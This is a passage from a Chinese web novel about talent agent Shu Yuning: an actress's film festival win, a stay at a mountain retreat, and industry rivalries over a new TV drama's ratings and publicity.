傅明宇的导师第一个走了过来，向千杉表达祝贺。有了他的带头，在场所有人都站了起来，为这位新晋影后送上热烈的掌声。
舒誉宁定了定神，抹了把眼泪，握住千杉的肩膀，想让她先冷静下来：“千杉，快上去，大家都在等你。”
“我，我，我不知道说什么……”
千杉哭得脸颊通红，呼吸急促。她根本没想过自己能获奖，她只是抱着出国旅游的心态来参加这次电影节。所以她没准备获奖感言，连句意国语都不会说。
“没事，你想说什么就说什么，大家不会介意的。”
有了舒誉宁的鼓励，千杉才终于站上领奖台，拿起了属于她的叶子奖杯。
“我，我真的没有想到会是我。所以，我并没有准备英语和意国语的获奖词……”说完了这句，千杉哭得更凶了，她觉得自己有些丢人。
在场来自全球的嘉宾们，他们听不懂中文，但是他们看到这个演员身上的紧张和局促。因此，他们再次用掌声，给予她鼓励。
掌声久久不息，千杉也暂时平复了心情：“我没想到会是我，所以我这次来电影节，心里很轻松。我们中国人常说，只有放下执念，才能心想事成。看来，是真的。过去的那段日子里，我很焦虑。对获奖这件事，有种我自己都觉得很过分的偏执。我的经纪人，我的导演，我的学姐，一直开导我，陪伴我，才能让我慢慢打开心结。而今天，我作为《浪潮》的女主角，作为华语电影的一份子，站在了这里，捧起了这个奖杯。我想，这个奖杯对于我，还是对于华语电影，都是一枚号角。这枚号角，在指引我们每一位华语电影人向前进。最后，谢谢大家。”
跑下了台，千杉一把抱住舒誉宁大哭：“姐，我给你丢人了？”
舒誉宁拼命地摇着头。她也哭得没个人形儿。
“不丢人，你最长脸了。你比所有人都长脸。”
虽然她慌乱，紧张，但她真诚，勇敢。世界会善待每一个赋予真心的人。
颁奖结束，《浪潮》组走出会场时，看到门口围了一大群人。他们中有同行、有留学生、有媒体，无一例外的，全是国人。此刻，他们齐声高呼着他们期待已久的姓名。
“千杉，千杉，千杉……”
“谢谢，谢谢大家。”
千杉站在高处，将奖杯举过头顶。如同凯旋的将军一般，举起了她的战旗。一时间，欢呼、尖叫、掌声、快门声，此起彼伏。声音一浪高过一浪，向浪潮般，带着他们奔涌向前。
42. 未来与阻碍
这几天，霸占热搜的消息全是千杉拿了水城国际电影节最佳女主角的消息。平常娱乐圈有什么新闻，评论必定是吵吵闹闹的。这次很统一，所有人都在祝贺千杉，期待华语电影日后的发展。
正所谓，红气养人。千杉现在的状态越来越好，各类高奢代言、广告拍摄多得数不过来。更多的是，影视剧的邀约。对于这些影视剧，舒誉宁首先筛掉了一部分一眼烂的剧本。剩下的，她想交给千杉自己选择。
“这些你看看，有没有中意的。对方说了，只要你确定出演，马上签合同。档期片酬都好谈。”
千杉看了一下，其中并没有傅明宇的剧本。怎么，傅明宇不想和她合作了？
“怎么可能？我和明宇商量了一下，你现在最应该自己出去闯闯。不是每部作品都要和我们绑定。等你想回来了，我们随时为你准备好剧本。”
“那我能不能休息一段时间？我想沉淀一下。”
都说趁热打铁，不过也确实，千杉从跟她签约以来，一直在拍戏，从来都是无缝进组。她需要时间，让自己先从前几个角色里出来，才能进入下一个角色。
“听你的。”
不过具体怎么放松，千杉还没有想好。她说的放松，并不是整天在家里睡大觉。娱乐圈太过嘈杂，她需要找个安静一点的地方，呆一段时间。
“这好办啊。”越天珑听了千杉的想法，也很支持她。“程姐本来就邀请我们去她的山庄玩。你可以在那里呆几个月。那里还有专业的理疗老师，我试过，可轻松了。”
“好啊。我们先一起好好玩！”
赵启程的山庄很偏僻，属于跟着导航都找不到的地方。一行人开了近6个小时的车，才到目的地。
到了之后，他们忍不住感叹道：“世外桃源。”
山庄极大限度地保证了自然森林的模样。在山庄的中间位置，赵启程专门找了园林专家，修了一些小木屋在那里。除了起居局域，还有瀑布、农场、水果园。
“欢迎来到我的启程山庄。这个山庄我买了五年，你们可是第一批客人。”
“多谢程姐。”
赵启程说，她之所以买这个山庄，是因为那时候太焦虑。事业出现危机，整夜整夜睡不着。严重的时候，还会出现幻视幻听症状。医生建议她休息，可是在家里，她也没有办法休息。机缘巧合之下，她找到了这座山头。在里面呆了半个月，配合着理疗老师的专业治疗，精神状况才慢慢好转。现在，无论她多忙，都会挪出一个月的时间，来这里“避世”。
“丑话说在前头，来我的山庄，需要自力更生。蔬菜，自己挖。鸡鸭鹅，自己抓。抓得到，吃肉。抓不到，只能吃素。”
舒誉宁一定这话，就开始担心起来。这些人，哪里体验过乡村生活？挖菜还好说，反正认识的不认识的，先放在篮子里。抓鸡鸭鹅，可就难了。
山庄里的都是走地鸡，跑起来的速度比奥运冠军都快。并且它们十分机敏和凶悍，一点点风吹草动，马上就跑。如果要意识到了危险，它们则会奋勇而上。用坚硬的喙，朝你的脸部、眼睛，发起进攻。
在场就傅明宇和小林两个大老爷们，这大概也是他们长这么大，唯一一次被鹅追着满山跑的经历。论战斗力，鹅一直都是家禽届的佼佼者。赵启程养的鹅更是和她英勇的性格，如出一辙。
“救命啊！”
“啊！”
他们的尖叫声在山间此起彼伏。越天珑看着他们，把他们推开：“没用的东西。”
她带上手套，换上橡胶靴。看模样，还真有这个架势。她拿了个网兜，朝着最肥的那只鹅，抄起了网兜。
鹅还不知道发生了什么是，就被捞进了网。它拼命地在网里挣扎。可是于事无补。两只脚蹼在网眼里越缠越紧，最后，精疲力尽，接受命运。
舒誉宁想到一个词：作茧自缚。
“你还会抓鹅？”
“拍这部剧学来的。”
这部剧里，有一段描写的是赵启程在农村的生活。为了还原，越天珑也沉浸式地体验了了一把乡村生活。现在抓鹅赶鸡，种菜施肥，手到擒来。
“那你会杀吗？”
“不会。”
那抓到也没用啊。傅明宇会做饭，但不代表他会做鸡鸭鹅的前置处理。那岂不是，白忙活了？
赵启程告诉他们，山脚下有当地居民自己开的农家乐。给他们点手工费，他们会全部处理好。
忙活了一天，一群人饿得不行。也顾不得什么身材管理，一个个都拿着大碗干饭。
“程姐，这么大的山庄，你怎么不配几个工作人员啊？”
“人一多，还叫什么避世啊。”赵启程告诉他们，如果需要帮忙，来这里找村民就行了。很多村民祖上三代都住这里，淳朴实在。有些是留守老人，孩子们都在城里上学工作，他们本来也空闲，很乐于帮一些力所能及的忙。平常赵启程不在的时候，管家才会过来，做修缮工作。
在这里呆了几天，舒誉宁觉得自己前所未有的轻松。一日清晨，她站在阳台上，眺望着做安静的山头。被工作充斥的大脑，很久没有如此清净了。不远处，千杉穿着运动服在山间慢跑，她抬头看到了舒誉宁，和她挥了挥，继续跑着。
看样子，千杉还是喜欢这里的生活的。既然如此，舒誉宁也就放心，可以把她留在这里一段时间。
回去的路上，舒誉宁给越天珑梳理着工作：“现在千杉去gap了，我可以把全部精力放在你身上。”
“你有病吧，舒誉宁？你进入工作状态未免也太快了！”
越天珑怀疑舒誉宁有个隐形的工作狂人格。任何时候，她都可以切换成这个人格，随时随地进入工作状态。丝毫没有什么度假后的戒断反应。
“谁让我是内娱最强经纪人呢？”
新剧开播在即，舒誉宁实在无法懈怠。谁让这祖宗命里带着血雨腥风？观众可从来不管黑料是真是假，反正“圈里都这么说，那她就是这样的人”。
“首先，先改改你开口就是骂人的毛病，我知道你没有恶意，但其他人，不这么想。”
越天珑爱耍大牌这个传闻，就是这么传出来的。
“我的罪名多了，不差这一条。”
“
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其他的都好说。只要你有拿得出手的作品，再拿个奖，什么捕风捉影的黑料都不算事儿。自有大粉为你辩经。”
慕强和逆袭，是当下观众的两大XP。而接下来的越天珑，非常符合这两个设定。这部剧一定爆火，会是接下来三大电视剧奖的有力竞争作品。所以，舒誉宁要抓住这次机会，好好为越天珑策划全系列的转型宣发方案。不过，她在后面忙活再多，这个祖宗不配合，都是白干。
“知道了，我一定改。都听你‘内娱最强经纪人’的指挥。”
电视剧的发行情况，舒誉宁已经在基金会那边打听过了。近几年，展现女性力量的作品备受青睐。因此，第一轮播出确定在总台，第二轮再是四大卫视的轮播。在剧集方面的宣传，已经不用舒誉宁操心了。她现在需要做的，就是做好越天珑本人的宣发工作。
第一步，就是降低曝光率。
越天珑是热搜常客。那些热搜也不是她想上，更不是她买的。但是她有点风吹草动就会上热搜，而且都不是什么好事。舒誉宁组建了一个小团队，24小时轮班盯热搜。不管好的坏的，全给它撤掉。再加上，现在她新剧即将定档，对家的团队肯定个个没安好心。说不定，他们会把她过去的那些黑料重新挖出来，重新唤醒大众的记忆，试图拉低新剧的口碑。
第二步，收集足够多的越天珑种田素材。
这次，越天珑为了演好一个农村姑娘的形象，实地去乡村体验了生活。这点，连舒誉宁这个经纪人都不知道。她需要在剧集播出的时候，把这些素材剪成短视频宣传片，在平台上投放。这一步，是为了营造越天珑敬业的形象。演员敬业是义务，但是如果不让观众知道，则是她这个经纪人失职。
第三步，她要做足够多的女企业家的宣传资料。
以赵启程为首，再到基金会，最后是来自全国各地的女企业家们。越天珑这次的角色，不仅参照了赵启程的经历，还融入了其他女企业家的故事。她们的故事各有各的精彩，舒誉宁计划通过这样的宣传，让观众认识到更多的女企业家，见识到女性力量。
一切宣发计划按照计划进行。舒誉宁看了看日历，距离开播，还剩一个礼拜的时间。
然而意外总会在人试图放松的时候来。
这天，舒誉宁接到了小团队的电话：“阿宁姐，评分网上上被人恶意刷低分，零点的时候突然多出几万条一星评论。”
什么？剧还没开播，怎么会开分了？
“你去查查IP，都有谁在刷分？”
“挺多的，国内国外的都有，应该都是机器。我们筛选了一些真人ip查过去，刷分的人很多。有满月的团队，也有阳海麟的团队。”
都是越天珑的老对家了。一个个估计都是说好的，选在了这个零点。舒誉宁上去看了一眼分数，仅有2.8分。这个分数，非常劝退路人观众。而路人观众又是贡献收视的基本盘。
舒誉宁想了想，现在把分刷回去，恐怕只会引起反效果。而且他们就一个团队，速度再快也比不上几个团队一起下场。
看来非常时期，只能用非常手段了。
43. 未来与阻碍
“在我的职业生涯里，最难过的便是所有同行都在辱骂我、给我使绊子的那段日子。我一度怀疑，是不是我真的做不好。后来我知道，是我太好了，他们怕了。”
这是赵启程的原话。
原本，舒誉宁是计划把企业家们的宣传片，放在每集片尾的时候播放。现在这部剧被人恶意刷低分，她只能重新规划宣发方案，把赵启程的个人纪录片放在了首发宣传策略上。每个人都爱听逆袭励志的故事，更何况，这还是个女企业家。一时间，这个宣传片成为了热搜上最热门的视频，一个小时的转发量便突破了千万。
看的人多了，自然也有很多人联想到了越天珑的新剧。观众纷纷猜测，赵启程这句话既是在说自己的亲身经历，同时又在暗示些什么。
大家有了这个想法，那舒誉宁才可以逐个击破。
她又让狗仔仔细查了一下后台恶意刷分的ip。除了满月团队和阳海麟团队，剩下的都是一些见风使舵的的小艺人团队。把这两个大boss解决了，他们自然也都散了。
舒誉宁打听到，阳海麟要去参加一个商业晚会。据说这是她自己找的行程，并不是刘三强给她找的资源。估摸着，她和刘三强的合约也将在一年后到期，大概是提前给自己铺路吧。
这种热闹，自己当然要去凑。很快，舒誉宁要到了这场晚会的邀请函。
到了会场，主办方代表早早地在门口等她：“阿宁姐，欢迎您的到来，我是小钱。没想到，您会来我们这样的小派对。不是我们不给您发邀请函，实在是怕这样的派对，耽误您时间。”
要知道，几年前的舒誉宁，连这种规格的派对都没机会去。而现在，变成了主办方认为自己根本请不动她。不过话说回来，阳海麟资源降级确实很严重。好歹是刘三强手里出来的，居然沦落到，在这样一个派对里捡漏。
“钱总，您客气了。只是有几个朋友在，我过来玩一玩，蹭点宵夜。”
“您想吃什么，我跟厨房说。我们的派对虽然没有大明星，大厨倒是有几个。”
“怎么没有。阳海麟不是吗？”
舒誉宁指了指不远处在和几个经纪公司负责人攀谈的阳海麟。看得出来，对方早已不耐烦，阳海麟也很尴尬。但为了自己的未来，她只能硬着头皮往下聊。
“她啊？都快三线开外了，还大明星？姐，你别说笑了。”
钱总的语气里，挡不住的轻蔑。据他说，这次的派对，没想着邀请她，是她自己非要来的。看她还算有点名气，也就让她来了。
“我去打个招呼。”
“原来她和您认识啊。那我带您去！”
钱总一扫刚才轻蔑的语气，马上变得谄媚。舒誉宁也习惯了，娱乐圈，想来拜高踩低。她也没空去计较。
“不用，您忙。”
“好，有事儿叫我。”
舒誉宁在一旁拿了两杯酒，直接挤到阳海麟和那几位经纪公司负责人之间：“哈喽，别打断你们聊天吧？”
“哎呀，这不是阿宁姐吗！我是Vicky！”
“阿宁姐，我们上次在电影节见过一次。你还记得吗？阿栋！”
舒誉宁一来，所有人都围了上去，热情得不行。阳海麟看到这一幕，恼怒得不行。她今天已经拼命地压低姿态了，可她还是受不了自己的自尊被人这样无视。
“海麟，去哪儿啊？我专程来找你的。”舒誉宁的余光瞥到，阳海麟想逃，马上把她喊住了。众目睽睽之下，阳海麟走也不是，留也不是。谁都看得出来，舒誉宁是来找她麻烦的。
周围的人自然都是十分有眼力见儿的老油条，随便找了个借口，纷纷离开。这下，宽敞的卡座里，只剩下舒誉宁和阳海麟。
舒誉宁把刚刚拿来的酒递过去：“聊聊？”
“阿宁姐这么大的经纪人，和我这糊咖有什么好聊的？”
“你还不是糊咖，何必这么妄自菲薄。”
“呵，就快是了。”
愤懑的阳海麟将酒液一饮而尽，把杯子在桌上重重一摔：“喝完了，可以走了吧？”
“别急啊，还没聊你到底是不是糊咖这回事儿呢？”
“怎么？我还指望你帮我？”
“你很清楚，除了我，没人能帮你。”
阳海麟明白，刘三强根本不会和她续约。早年，为了捧出一个“小越天珑”，他在阳海麟身上砸了不少资源。只是时间证明了，越天珑这样的流量奇迹，不可复制。阳海麟在他眼里，也变成了一支高投资，低回报的垃圾股。不久前，刘三强新签了几个演员，重新制定了他们的职业路线。从回报率上看，个个都比阳海麟高。现在，他完全就是晾着阳海麟，耗到合约期结束。
她的前景堪忧，哪怕她降了很多签约金，也没有什么公司愿意签她。就算她现在不是糊咖，等一年后，她没了经纪公司，不是也是了。
“我给你一个做回李有铮的机会。你呢，别想办法整越天珑了。她不是你整得起的人，但你，是我整得起的人。”
舒誉宁卡她新剧招商这件事，她记忆犹新。所以，没人比她更知道舒誉宁的手段了。而这次，她给越天珑的新剧刷低分，也是因为她多年来，早就习惯把怨气撒在她身上。
恨比爱长久。哪怕她自己都知道，自己不应该恨越天珑，可她就是忍不住。更让她恨的是，无论她怎么黑越天珑，越天珑都不在乎。仿佛眼里从来没有过她这个人。
“李有铮……我爸妈都很久没叫过这个名字了。”
说来也讽刺。一开始，是刘三强让她模仿越天珑。越天珑今天穿卫衣，明天她就穿运动服。越天珑演了部古偶，她马上接一部现偶。时间久了，变成是她自己下意识模仿越天珑。她的思维早就失去了独立工作的能力。
再然后，便是越天珑和刘三强解约，找到了舒誉宁。她们强强联手，即将做出一部具有划时代意义的电视剧作品。这一步，阳海麟怎么都模仿不了。唯一的相似点，可能就是她也要和刘三强解约了。哪怕是被迫的。
“我这里有几部小妞电影的项目，我觉得挺适合你的。”
小妞电影，是前几年的荧幕主流。主打的就是小成本、小角色、小故事。在女性的故事里，不是非
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要像赵启程那样的大女主才有被人称颂的资格。那些好好生活，每天都在努力让自己变得更好的女性，同样有被人看到的权利。阳海麟，或者说李有铮，就是这样的人。
她们这样的主角，放在电影圈，被归类为“小妞电影”。
“你为什么要帮我？”
“给你个机会而已。握不握得住，看你自己。而且，我刚刚说‘你是我整得起的人’，这句话并不会失效。”
言下之意，舒誉宁给她牵线去电影试镜，能不能出演，跟舒誉宁无关，只和她自己有关。以及，她要是再不老老实实演戏，只想着怎么针对越天珑，舒誉宁随时会让她以一个很难看的样子，滚出娱乐圈。
“言尽于此。”舒誉宁仰头，也将自己杯子里的酒液一言而尽，把空杯子和阳海麟的那只放在一起。“怎么选，随你。”
舒誉宁刚背过身，准备离开，便被李有铮喊住了：“我要是真想整越天珑，我会把她和她那个小助理的事情捅出去。”
小助理？她不会指的是小林吧？
舒誉宁回头，逐步向她逼近：“你是在威胁我吗？”
“不是。我是觉得，她要找也应该找个好的。”
“……”
合着她是觉得小林配不上越天珑啊？
舒誉宁在心里默默叹口气，这种身份上的鸿沟，也不是她能解决的。
“这种私事你就别管了。管好你自己。”
舒誉宁刚回去，越天珑卡着点就来了。
“听说你去找阳海麟了，她怎么说？”
“我说，要么做回李有铮，要么滚出娱乐圈。她选择了前者。”
“还有呢？”
“你还好意思问？”
舒誉宁皱着眉头，告诉她，李有铮知道她和小林的事情了，并且帮她瞒了下来。不得不说，李有铮这个人本性不坏，在刘三强那样的人手下，很多事情她也没得选。只是她对越天珑的态度，十分纠结。
“你和小林的事情我不过问，我只希望你们低调点。”舒誉宁虽然不会让这件事东窗事发，但不代表他们可以在毫无边界感。在娱乐圈里，会察言观色的人多了。有时候只是一个眼神的功夫，便能看出眼前的两个人是什么关系。
“明白了明白了。”每次提到小林，越天珑就各种敷衍舒誉宁。主要是，她自己也没明白她和小林算个什么关系。反正现在这个状态，她很享受就是了。
“解决了阳海麟，满月呢？”
比起阳海麟对越天珑纠结的态度，满月的恶意可是大多了。这部剧还是她想要，却没能得到的资源。新仇旧恨加起来，她很可能是真想搞垮这这部剧。很难保证，她没有留后手。满月的咖位还比阳海麟大很多，曾经一度超过越天珑。这样的一线大花，可不是舒誉宁介绍几部电影能糊弄的。
舒誉宁神伸懒腰，看上去早已了谋划：“高级的食材，往往需要简单的烹饪。人也是。”
“什么意思？”越天珑突然兴奋起来了，不知道舒誉宁又会出什么“损招”。
舒誉宁神秘一笑。对她说：“明天，见~”
44. 未来与阻碍
第二天一早，越天珑准时打开手机，热搜里果然出来了满月的名字。热搜里的内容是她炒CP，陷害越天珑的那些事。
想必，舒誉宁想把这件事爆出来很久了。
昔日的CP粉们，看到自己早已塌成废墟的房子又迎来了一次地震，纷纷发泄着这几年来的怨气。
【嗑过你们这对CP简直是我的赛博案底！】
【你和你的CP搭子从诈骗这个角度来说，可谓是天生一对。】
【不说了，退钱！】
也有不少路人在评论区里拱火。
【我就说嘛，越天珑这样的顶流大美女怎么看得上那个男的？那个男的现在在干嘛，抠脚么？】
【这对CP一眼假啊，全是工业糖精。出道这么多年，还在吃CP红利。话说，满月到底是怎么火起来的？】
原来舒誉宁说的“简单烹饪”是这个意思啊！确实，对满月，没必要想对待李有铮一样，绕这么大一圈。
“该给的面子给她了，也给过她机会。是她自己得寸进尺。”
上次她和诚品影业撕资源、准备阴阳剧本这件事，赵启程一直心有芥蒂。但最后在舒誉宁的努力之下，这件事圆满解决。她没了资源，也算是有了个教训。可是这次，在剧集即将播出之际，闹这么一出，属实自作孽。
这次的热搜能闹得这么大，赵启程也在背后运作。谁让她敬酒不吃吃罚酒。
用舒誉宁的话来说，爱走捷径的人是这个样子。他们做任何事都非常急躁，急于求成，每次都留下一堆把柄，得罪一堆人。而自己却没有这个意识。
“满月不会接着整我吧？”以越天珑对她的了解，她很可能还有别的法子。
“有也没用了，她自己现在焦头烂额的，哪有空管你。”
满月本来就卡在转型困难的瓶颈期，唯一能抓在手里的就是提纯的CP粉。尽管他们偏激，好歹忠心。现在连CP粉都保不住了，她的职业生涯怕是只能走下坡路。
舒誉宁一开始也犹豫过要不要这么做。如果她想，在上次她和越天珑抢女主的时候，大可以一早把这件事公之于众，也不至于花2000千万来搞定。更多的时候，舒誉宁希望对家和他们的团队，在商言商，光明正大地过招。而不是整天在背后用一些见不得光的手段。
她这么做，也是给其他跟着满月屁股后面，见风使舵的小艺人提个醒。有些手段，是她舒誉宁不稀罕做，不是她不会，更不是因为她害怕。
将这两个大BOSS解决以后，评分网站的分数终于没有再往下跌。舒誉宁指示她的网络小团队，把分数回刷一点。在开播前的两个小时，分数回到了6.0分及格线。
“阿宁姐，还要继续吗？”
“不用。接下来的分数，让观众自己评吧。”
电视剧开始了。
电视剧正式定档的名字是《山间海下》。这个名字是赵启程取的。她说，她自己是从山里走出来的姑娘，是他们山里第一个下海经商的人。而这个名字，是她来时的路，也是她未来奔向的地方。
开头，便是在山间乡村。平常总是光鲜亮丽，被誉为穿搭教科书的越天珑，在剧里穿着朴素，整个人又黑又瘦。她熟练地使用着工具，站在田地里干活。随着剧情的推进，她跟着村里的人去镇上赶集，碰上了附近一个的工厂，在集市上招人去南方卖货。这是她第一次了解到，什么是“做生意”。剧里的“赵启程”，跑回了家。从家里翻出二十块钱和最干净的衣服，去了南方。
舒誉宁将准备好的越天珑种田vlog同时上传到了各大平台。除此以外，她还加了个热搜词条：“越天珑整容式演技”。
不过几分钟而已，这个词条的内容已经破万。
【这是越天珑？我都没认出来。】
【好久没见到她拍剧了。我还以为她退圈了。原来在拍《山间海下》啊！】
【别说，她干活的样子还挺像样的。没有作秀表演的痕迹。】
剧里体现赵启程山间生活的镜头并不多，前后加起来不过几分钟。但是为了还原这几分钟，越天珑还是狠下了一番苦功。不仅提前几个月，去田里体验生活。还原了那时赵启程的饮食。她每天就喝点粥，啃个馒头，咽不下去配点咸菜。通过这样的饮食，她的头发大把大把地掉，气色也非常差。开头那个又黑又瘦的模样，不是化妆师的鬼斧神工，而是那段时间，她真实的样子。
第一天的收视率出来了，开播仅10分钟便冲到了1.5，破了总台今年的记录。网播的情况也很好，两个平台的热度加起来，已经突破3万。
不出意外，这部剧会是今年的收视冠军。
今天的两集播完了，可是网上的讨论还在继续。
【目测下一届视后是越天珑了，还是一串三的那种。】
【可她风评很差哎！】
【风评这种东西都是虚的。作品和实力才是真的。她那个“小三”的骂名，不也是满月诬陷的么？】
这部剧每天在黄金时段播出两集。播出时，舒誉宁便会在这个点收集数据。收视率从一开始的1.5，涨到了1.8，并且一直稳定在这个区间。越天珑的微博粉丝数量也在以10W这个数字增加。一些见风使舵的营销号，也开始自发地蹭上了热度。平常他们怎么骂越天珑的，现在就怎么想尽办法直白地夸她。
今天的剧集演的是，赵启程的事业有了起色，被同行打压的剧情。屏幕里的越天珑，已不再是那个村姑的形象。她穿上了西装，在腰间围了一条亮色系的皮带，把头发烫成了那个年代特有的港风大波浪卷。与她漂亮的外形造成戏剧冲突的是，她落寞的神情，眼眶里的眼泪似乎快要掉下来了，可是她拼命忍住，不让自己哭。
她的存在，威胁到了同行。他们凑在一起，开始了一场“猎巫行动”。他们断了她的资金。没有资金，工厂便不给她做货。他们还断了她的物流线，让她的货发不出去。
更卑鄙的是，那些同行，开始对她各
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种言语侮辱。毁掉一个女人最快的方式就是造黄谣。这件事，从古至今，从来没有变过。
越天珑在演那时的赵启程，也是在演现在的自己。
这一段，按照原来的剧本，有很多台词。但经过青禾和越天珑的商量之下，这里的台词被删完了。
越天珑说，在那种时候，人是说不出来话的。
青禾用更加细腻的镜头，表现了此刻“赵启程”的内心。迷茫、挣扎、想放弃、想退出，但她还是选择继续下去。没钱了，就把手里的包包首饰全卖了，给工人们发工资。她自己也换上工服，在工厂的流水线呆个几天几夜。没有物流，就租村子里的电动三轮车拉货。她是农村出身，最擅长驾驶这种车子。
这集的收视率，破了近几年的收视记录。
舒誉宁趁热打铁，开了一场以“与过去的自己对话”为主题的直播访谈。直播的嘉宾仅有赵启程和越天珑。
直播没有台本，想到什么说什么。观众有什么想问的，可以直接打在弹幕上，随机回复。
“哈喽。各位《山间海下》的观众朋友们大家好，我是赵启程。”
“大家好，我是演员越天珑，也是过去的赵启程！就是那个在《山间海下》辛苦打拼的赵启程。”
直播开始了，两位“赵启程”面对面坐在一起。这个场面，还真有时空交错的意思。
率先开启访谈的是越天珑。她像赵启程问道：“程姐，我们从剧里看到，你被同行打压的那段日子。不难看出，那时的你处在一种想放弃的状态。包括你在个人的纪录片里也说过，这是你最难的一段日子。你是在什么时候意识到，他们这样做，是因为害怕你。”
“在我还是把货卖空的时候。那时，我蹲在路灯下数钱，突然意识到了这件事。钱，治百病啊！”
“哈哈哈。”
赵启程幽默的回答，让直播间里阴沉的氛围一扫而空。她说得轻描淡写，但不难想象，背后一定经历了很多不容易。她回忆起，在他们那个山间里，大部分女孩子，早早地嫁了人。在她拿着20块钱准备去南方的时候，她的发小已经有了三个小孩。
“你那时候胆子真的挺大的。”
“俗话说，初生牛犊不怕虎。赚不到就回来呗，不还是种地嫁人生娃，跟我原本的生活并不会有区别。”
聊了很多赵启程过去的事后，话题才逐渐引到越天珑身上。
“在拍这段戏的时候，我了解到，你有加入自己的一些理解。观众们也很好奇，你是怎么理解这段经历的，是因为有联系到自己身上吗？”
这个问题是赵启程特意问的，她想通过这个问题，能有更多的人可以了解越天珑。
“是。”越天珑出道这么多年，第一次回应了自己对那些负面新闻的看法。
“我一直以为自己是个不在乎的人。但其实，我心里知道，没人会不在乎那些莫名的脏水。所以我感谢，我能出演这部剧，出演这个角色。能为自己正名。”
45. 未来与阻碍
今天的剧情是赵启程的事业有了起色，获得了巨大成功的她十分膨胀，却不知危机悄悄来临。舒誉宁怀疑，这段戏是越天珑的本色出演。那个肆意张狂的样子，就是她平时的模样。
为了这段戏，越天珑特地把自己珍藏多年的珠宝从保险箱里拿了出来。鸽子蛋钻石戒指、限量版名牌项链，特别是手腕上那只的翡翠手镯，绿得像染了色。再配上她张狂的笑，把“小人乍富”这个状态表现得淋漓尽致。
“哈哈哈……”
舒誉宁赶紧调小了电视音量。这个魔性的笑声，太有穿透力了。
正在厨房做宵夜的傅明宇探出头来：“越天珑来了？”
“不是不是，我在看电视。”
“我说呢，怎么笑得这么夸张！”
他把煮好的甜汤端上桌子，给正在追剧的舒誉宁盛了一碗。
入冬以后，天气降温地非常快。明明上周还可以穿一件薄T恤，这周都要换上大衣了。为了不让追剧的舒誉宁冻着，傅明宇在沙发上放了毛毯，每天还会给她煮暖身的热汤。
做好了一切，傅明宇窝在沙发上，和舒誉宁一起追剧。
“说出来不怕你骂我。我以前对越天珑有偏见。”
“看得出来。”
傅明宇不是能藏住事儿的人。他不喜欢越天珑这件事，恐怖只有他自己认为没人能看得出来。不过也扯平了，越天珑对他，更有偏见。
舒誉宁问他：“现在呢？”
“是我太狭隘了。”
不过也正常，傅明宇这人对谁都有偏见。一开始，他对舒誉宁都有不好的看法。
“我觉得，你们可以给彼此一个机会。”
“你是说，一起拍戏？”
舒誉宁早就有这个想法。只是因为越天珑和傅明宇一直互相瞧不上对方，所以也没提。现在傅明宇都对越天珑打消偏见了，可以让他们俩试着合作。他俩这针尖对麦芒的性子，说不定会碰撞出不一样的火花。
傅明宇没有拒绝，只是有点奇怪：“你不是说，电影演员和电视剧演员向来是泾渭分明的吗？”
“圈子里是有这种说法。但是这种规则，很落伍啊。”
所以舒誉宁想打破它。
在最初，电影演员和电视剧演员有分别是因为电影和电视剧的拍摄方式不同。电影相较于演员的表演，更加注重光影的塑造，也就是说，导演的比重会更大一些。电视剧动辄2.30集，长篇电视剧甚至能拍个80集，所以更看重演员的状态和表演。
也不知道后来怎么就传成，电影演员的地位高于电视剧演员。
这种畸形的鄙视链流传至今。
作为经纪人的舒誉宁知道，演员想要站位脚跟，必须要丰富自己的表演类型。等千杉回来，她也想让千杉在主攻电影的同时，尝试拍一些电视剧。而越天珑，她已经在电视圈混得风生水起了，拍部电影，会对她的转型更加有利。
“可以。我最近在创作一部文艺片的剧本，你问问她愿不愿意出演。”
文艺片，向来叫好不叫座。而且文艺片里的主角特点或多或少有点神经质，不知道越天珑会不会同意出演。
最近越天珑太忙了，就连舒誉宁都很难约她。每天不是参加这个庆典，就是出席那个红毯。《山间海下》一播出，她一周能多出12个通告。就这12个，还是舒誉宁推了大半后留下的。
这次还是因为飞机延误，才能争分夺秒，和越天珑见上一面。
“大明星，你知道你现在有多难约么？”
越天珑把墨镜摘一下，随手放在桌子上。翘着腿，高跟鞋的鞋尖跟着她的动作，一晃一晃的。
“没办法。红，是我的宿命。”
那个趾高气昂的样子，活脱脱的是剧里的赵启程走出来了。也不知道她是还没出戏，还是在演的时候就代入了自己。
“说吧，什么事。别因为你是我的经纪人，就可以浪费我的时间。”
得，爱耍大牌这个标签怕是撕不掉了。不过还别说，她现在翻红，还真有不少粉丝就喜欢她这个劲儿劲儿的作精样。
“你要不要拍傅明宇的电影？”
舒誉宁这个问题一出来，便震惊掉了她的墨镜。她扶着墨镜，从镜框上方看着舒誉宁：“我没听错吧？”
“没听错，你要不要演？主动权取决于你。”
“你给他下了什么药？他可一直看不上我。”
“他突然发现自己从前有眼无珠。如果再不和你这位大明星合作，估计以后再也没有这个机会了。”
越天珑自然是乐意的。她本来就有进军电影届的打算，只是最近收到的剧本都一般，一个也没挑中。现在傅明宇愿意和她合作，她求之不得。
“你不怕我和他打起来？”
“他打不过你。”
越天珑可是在地里挖过地，放过牛的女人，甚至能强到在农庄里撵着大鹅满山跑。这战斗力，10个傅明宇都顶不住。
航班不知道何时才能恢复，舒誉宁在这个空档里和越天珑多聊了几句。千杉就快要回来了，等她回来，她就让千杉演部电视剧。剧本挑得差不多了，现在看她个人的意愿。
看样子，现在舒誉宁的计划是让越天珑和千杉在主攻的领域里互换一下，只是不明白，她为什么要这么做。
“扩展你们事业的版图，也就是扩展我的版图。”
现在千杉拿了水城国际电影节的影后，越天珑转型成功，拿个视后指日可待。只是她们的职业规划较为单一，已经跟不上她们的发展了。她们是宁海一方的王牌，她们能有更多的发展，宁海一方也会变得更好。
“你有这样的雄心，我肯定支持。请问我什么时候进组？”
“等你忙完这一阵吧。”
飞机广播终于响起，航班恢复正常，乘客们可以准备登机了。越天珑戴上墨镜，对舒誉宁拜了拜手，踏着六亲不认的步伐，登上了飞机。
这祖宗，还真是够高调的。
在农庄里放松了两个月的千杉，再次见面，气色好多了。前一阵子，她一直在剧里拍戏，作息饮食十分不规律。哪怕有营养师和健身教练为她定制专属的保养计划，可是眼底里的疲惫是藏不住的。怎么形容呢，就是整个人浑身班味儿，全凭一口仙气吊着。
现在的她，哪怕没有化妆，美丽确实由内而外散发的。比舒誉宁初见她时，更吸睛了。
“姐，麻烦啦，特意来接我。”
“看来这两个月你过得不错，那我就放心了。”
可不是吗！每天都能睡够10个小时，在没有污染的山谷里做自然瑜伽，吃的是纯天然无污染的蔬菜和鲜肉，心情和身体素质都有了很大的提升。
“我每天还在追《山间海下》，太好看了。女主角呢，太忙了是么？”
